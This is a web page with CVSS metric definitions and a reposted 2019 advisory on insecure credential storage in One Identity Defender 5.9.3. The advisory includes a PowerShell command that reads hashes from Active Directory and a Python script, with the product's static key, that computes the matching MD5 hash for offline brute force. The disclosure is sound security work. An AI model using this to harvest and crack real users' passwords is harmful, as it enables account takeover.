The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Below is a copy: One Identity Defender 5.9.3 Insecure Cryptographic Storage
Title: One Identity Defender - Insecure Cryptographic Storage
Date: 01 September 2019
Affected Software:
==================
One Identity Defender 5.9.3
Other versions are likely also vulnerable.
Insecure Cryptographic Storage:
==============================
Defender stores token seeds, PAP secrets, and user passwords in Active Directory attributes that are readable by all authenticated users. Defender passwords are hashed using MD5 in conjunction with a static key for obfuscation which allows the computed hash to be read from the defender-userTokenData attribute in Active Directory and then used in an offline brute force attack.
Hash Retrieval:
PS C:\Users\Duras> Get-ADUser Martok -Properties * | Select DistinguishedName, ObjectGUID, defender-userTokenData
DistinguishedName ObjectGUID defender-userTokenData
----------------- ---------- ----------------------
CN=Martok,CN=Users,DC=QonoS,DC=local 52126f3a-723d-4b7e-a6ae-ccc2279e8618 {B:144:0505D1F541F69C63315DD85FBBDB7B4DC9E500000000000000000000000000000000000000000000000000000000000000000000000...
Hash Calculation:
#!/usr/bin/env python3
import binascii
import hashlib
guid = '52126f3a-723d-4b7e-a6ae-ccc2279e8618'
password = 'secret'
key = '45f88b08118bf03b8d55e452f77c2e8b'
guid = binascii.unhexlify(guid.translate(str.maketrans('', '', '-')))
guid = binascii.unhexlify(b''.join(map(binascii.hexlify, (guid[3::-1], guid[5:3:-1], guid[7:5:-1], guid[8:]))))
password = ('\00'.join([password[i:i+1] for i in range(0, len(password)+1, 1)])).encode()
hash = binascii.unhexlify(key) + password + guid
print (hashlib.md5(hash).hexdigest())
[duras@qonos ~]$ ./hash.py
d1f541f69c63315dd85fbbdb7b4dc9e5
Contact:
========
spicyitalian[at]protonmail[dot]com
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